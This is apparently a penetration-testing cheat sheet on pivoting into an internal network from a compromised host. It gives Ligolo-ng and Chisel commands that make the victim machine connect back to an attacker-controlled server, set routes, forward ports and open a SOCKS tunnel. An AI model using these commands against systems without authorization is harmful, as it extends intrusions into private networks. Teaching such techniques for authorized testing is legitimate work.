Network Tunneling

It is often the case that after compromising one externally visible machine, we want to continue the attack on the internal network. Only the compromised machine has access to the internal network. So we need to somehow route outbound traffic from our system (e.g. Kali Linux) through the compromised machine. There are several ways and offensive tools to set up a TCP/UDP tunnel.

There are different methods of tunneling. The most popular are: TCP over TCP+TLS, TCP over HTTP, TCP over SSH. The idea is to pack standard TCP packets into some other protocol, usually a higher layer, and send them that way to the compromised machine. There is an tunnel client / agent running on a compromised machine so that it can unpack the tunneled packets to standard TCP and send them to the network interface. After this process, our TCP packets can find their way from the compromised machine to the internal network.

Example path:

(attacker)     TCP tunnel   (tunnel client)      TCP
  LINUX  -------------------> COMPROMISED ----------------> INTERNAL
 MACHINE       over HTTP        MACHINE                     NETWORK

Ligolo-ng (TCP over TCP+TLS)

Ligolo-ng is a simple tool to establish tunnels using TUN interface on Linux. It's basically a custom virtual network interface that translates all packets and sends it to the remote agent. On the other side of the tunnel, the agent unpacks the packets. The tool uses TCP over TCP+TLS tunneling.

IMPORTANT: Download Ligolo binaries (proxy and agent) from GitHub. Be careful not to download the “alpha” version of Ligolo binary. These versions are unstable and often don't work.

Since tunneling has been implemented at the network interface level, the established tunnel is completely transparent from the attacker's point of view. It does not require any additional configuration of the offensive tooling used during the engagement.

Attacker:

# Run Ligolo proxy server (with auto-configured TLS certificate)
sudo ./proxy -autocert
 
# Create Ligolo network interface
> interface_create --name ligolo
 
# Check network interfaces
ip a

Victim:

# Connect back to Ligolo server
# Check Ligolo port from proxy output
./agent -connect $attacker_ip:$ligolo_port

Attacker:

# Show active sessions and select one
> session
 
# Start tunnel
> tunnel_start --tun ligolo
 
# Setup routing table (might not be necessary)
> route_add --name ligolo --route $target_ip/$mask
 
# Check routing table
> route_list 

NOTE: In case of problems with certificate validation use -ignore-cert flag with agent and -selfcert with proxy. It's not secure but might help.

Now, whatever the attacker executes on his Linux will be transmitted to the victim and come out the other side of the tunnel. Without using any additional tooling.

How to access to 127.0.0.1 of the victim's machine? Ligolo creates a special fake IP address 240.0.0.1 that basically means 127.0.0.1 of the victim's machine. Add routing: interface_add_route --name ligolo --route 240.0.0.0/24. Executing nmap 240.0.0.1 on the attacker's machine is equal to executing nmap 127.0.0.1 on the victim's machine.

Ligolo port forwarding

Ligolo also makes it very easy to set up port forwarding from the victim's machine port to the attacker's machine port. It doesn't require any configuration on the victim's machine.

Attacker (Ligolo CLI):

# Setup port-forwarding
> listener_add --addr 0.0.0.0:$victim_port --to 127.0.0.1:$attacker_port --tcp
 
# Example
> listener_add --addr 0.0.0.0:3000 --to 127.0.0.1:9000 --tcp

Now the victim's port is forwarded to the attacker's port. Accessing 127.0.0.1:9000 on the attacker's machine is equal to accessing 127.0.0.1:3000 on the victim's machine and vice versa.

Chisel (TCP over HTTP)

Chisel is a tool to establish a TCP/UDP tunnel over HTTP. Allows you to do a simple port forwarding and establish a SOCKS tunnel.

Simple port forwarding

Attacker:

# Run Chisel server listening on port
chisel server --reverse --port $srv_port

Victim:

# Bind a socket to attacker's port
chisel client $srv_ip:$srv_port R:$attacker_port:$remote_ip:$remote_ip

After that using http://localhost:$attacker_port an attacker (from its local machine) is accessing a socket defined on the client side of the tunnel.

SOCKS tunnel

SOCKS tunnel mostly requires the use of proxychains tool. At the same time it provides more flexibility because it allows access to any host and port without any additional configuration on the client side. Something for something...

Attacker:

# Run Chisel server listening on port
chisel server --reverse --port $srv_port

Victim:

chisel client $srv_ip:$srv_port R:$attacker_port:socks

In order to use the established tunnel packets must be translated to SOCKS. All tools that do not natively support the SOCKS protocol must be passed through a proxychains tool. The port used for the SOCKS tunnel must be set in the config file: /etc/proxychains4.conf. This is the $attacker_port from the snippet above.

# Example usage: all ffuf requests are transmitted via SOCKS tunnel
proxychains ffuf [...]

C2 Frameworks

Many C2 frameworks have already built-in fancy tunneling and port-forwarding capabilities. Take a look at the documentation of the C2 framework you are using.